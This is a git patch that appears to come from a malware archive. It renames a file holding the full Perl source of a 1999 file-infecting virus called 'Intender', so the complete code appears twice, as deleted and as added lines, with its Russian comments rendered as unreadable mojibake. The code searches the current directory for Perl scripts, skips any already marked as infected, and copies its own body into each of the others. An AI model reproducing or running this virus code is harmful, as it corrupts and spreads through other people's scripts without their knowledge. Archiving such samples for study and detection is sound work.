From 56fafc6413ea08c6cfd854cb9df70e9c683435e9 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:36:40 -0600
Subject: [PATCH] Rename Virus.Perl.Intender to Virus.Perl.Intender.a

---
 Perl/Virus.Perl.Intender   | 66 --------------------------------------
 Perl/Virus.Perl.Intender.a | 66 ++++++++++++++++++++++++++++++++++++++
 2 files changed, 66 insertions(+), 66 deletions(-)
 delete mode 100644 Perl/Virus.Perl.Intender
 create mode 100644 Perl/Virus.Perl.Intender.a

diff --git a/Perl/Virus.Perl.Intender b/Perl/Virus.Perl.Intender
deleted file mode 100644
index 17fa2fbe..00000000
--- a/Perl/Virus.Perl.Intender
+++ /dev/null
@@ -1,66 +0,0 @@
-#here virus starts
-# Intender by -Byst- (c) 1999
-$source = __FILE__;
-while (<*.pl>)
-{
-  $name = $_;                    # ��� � �� -�����
-  $cname = crypt($name,$name);   # ��� �஬����筮�� � �� 
-
-  # �஢�ਬ �� ����஢ � �� 㦥 � ��?
-
-  open(TARGET,"<$name");         # ���� 
-  $allready_infected = 0;
-  while (<TARGET>) {
-   if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
-    { $allready_infected = 1;}   # 㦥 ����஢ �!
-  }
-  close(TARGET);
-  if ($allready_infected == 1 )
-   { next;}                      # ���室�� � ᫥���饩 ���⢥
-
-  # �஢�ਬ, ��� �� � ⥫� ����� ��ப ⨯  !/usr/bin/perl
-  open(TARGET,"<$name");         # ���� 
-  $flag = 0;
-  while (<TARGET>) {
-   if (index($_,"\x23!") == 0)   # � 諨 � ��� ��ப�
-    { $flag = 1;}                # ������� � �
-  }
-  close(TARGET);
-
-  # ���� �� � ��� � ���ன ᮤ�ন��� �맮� ��楤��� ����஢ ���
-  open(TARGET,"<$name");         # ���� 
-  open(FBUF,">$cname");          # �஬������ � ��
-
-  if ($flag == 1) {              # � ����� ���� ����� 祭�� � � �  �ண� ���?
-   while (<TARGET>) {            # �饬 ���
-    print(FBUF);                 # ��� �塞 �� ��ப� ����� �� #!
-    if (index($_,"\x23!") == 0 ) #  � , ��� � � � �� �ண� ���
-      { last;}
-   }
-  }
-
-  # �饬 ⥫  ��楤��
-  $_ = "\n";print(FBUF);
-  open(SOURCE,"<$source");       #  � ���騩 � ��
-  while(<SOURCE>) {              # �饬 �ਧ� � � � �  - "#here virus starts"
-   if (index($_,"\x23here virus starts") == 0) { last;}
-  }
-  print(FBUF);
-  # ���� ⥪�� ��楤�� -> �஬������ � ��
-  while (<SOURCE>) {
-   print(FBUF);
-   if (index($_,"\x23here virus ends") == 0) { last;}
-  }
-  close(SOURCE);
-  $_ = "\n";print(FBUF);
-  # ��� ������ � ��� ����� -> �஬������ � ��
-  while (<TARGET>) {
-   print(FBUF);
-  }
-  close(TARGET);
-  close(FBUF);
-  rename($cname,$name);
-}
-#here virus ends
-
-
diff --git a/Perl/Virus.Perl.Intender.a b/Perl/Virus.Perl.Intender.a
new file mode 100644
index 00000000..c2ccf506
--- /dev/null
+++ b/Perl/Virus.Perl.Intender.a
@@ -0,0 +1,66 @@
+#here virus starts
+# Intender by -Byst- (c) 1999
+$source = __FILE__;
+while (<*.pl>)
+{
+  $name = $_;                    # ˆ¬ï ä ©« -¦¥àâ¢ë
+  $cname = crypt($name,$name);   # ˆ¬ï ¯à®¬¥¦ãâ®ç­®£® ä ©« 
+
+  # à®¢¥à¨¬ ­¥ ¨­ä¨æ¨à®¢ ­ «¨ 㦥 ä ©«?
+
+  open(TARGET,"<$name");         # ¦¥à⢠
+  $allready_infected = 0;
+  while (<TARGET>) {
+   if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
+    { $allready_infected = 1;}   # 㦥 ¨­ä¨æ¨à®¢ ­!
+  }
+  close(TARGET);
+  if ($allready_infected == 1 )
+   { next;}                      # ¯¥à¥å®¤¨¬ ª á«¥¤ãî饩 ¦¥à⢥
+
+  # à®¢¥à¨¬, ­¥â «¨ ¢ ⥫¥ ¦¥àâ¢ë áâப ⨯  !/usr/bin/perl
+  open(TARGET,"<$name");         # ¦¥à⢠
+  $flag = 0;
+  while (<TARGET>) {
+   if (index($_,"\x23!") == 0)   #  諨 â ªãî áâபã
+    { $flag = 1;}                # ¢§¢®¤¨¬ ä« £
+  }
+  close(TARGET);
+
+  # ‘®§¤ ¥¬ ç áâì ¢ ª®â®à®© ᮤ¥à¦¨âáï ¢ë§®¢ ¯à®æ¥¤ãàë ¨­ä¨æ¨à®¢ ­¨ï
+  open(TARGET,"<$name");         # ¦¥à⢠
+  open(FBUF,">$cname");          # ¯à®¬¥¦ãâ®ç­ë© ä ©«
+
+  if ($flag == 1) {              # ã ¦¥àâ¢ë ¥áâì ®¡®§­ 祭¨¥ ­ ç «  ¯à®£à ¬¬ë?
+   while (<TARGET>) {            # ¨é¥¬ ¥£®
+    print(FBUF);                 # á®åà ­ï¥¬ ¢á¥ áâப¨ ¦¥àâ¢ë ¤® #!
+    if (index($_,"\x23!") == 0 ) #  £ , ¢®â ¨ ­ ç «® ¯à®£à ¬¬ë
+      { last;}
+   }
+  }
+
+  # ¨é¥¬ ⥫  ¯à®æ¥¤ãà
+  $_ = "\n";print(FBUF);
+  open(SOURCE,"<$source");       #  â ªãî騩 ä ©«
+  while(<SOURCE>) {              # ¨é¥¬ ¯à¨§­ ª ­ ç «  - "#here virus starts"
+   if (index($_,"\x23here virus starts") == 0) { last;}
+  }
+  print(FBUF);
+  # ¢¥áì ⥪áâ ¯à®æ¥¤ãà -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
+  while (<SOURCE>) {
+   print(FBUF);
+   if (index($_,"\x23here virus ends") == 0) { last;}
+  }
+  close(SOURCE);
+  $_ = "\n";print(FBUF);
+  # ®áâ ¢èãîáï ç áâì ¦¥àâ¢ë -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
+  while (<TARGET>) {
+   print(FBUF);
+  }
+  close(TARGET);
+  close(FBUF);
+  rename($cname,$name);
+}
+#here virus ends
+
+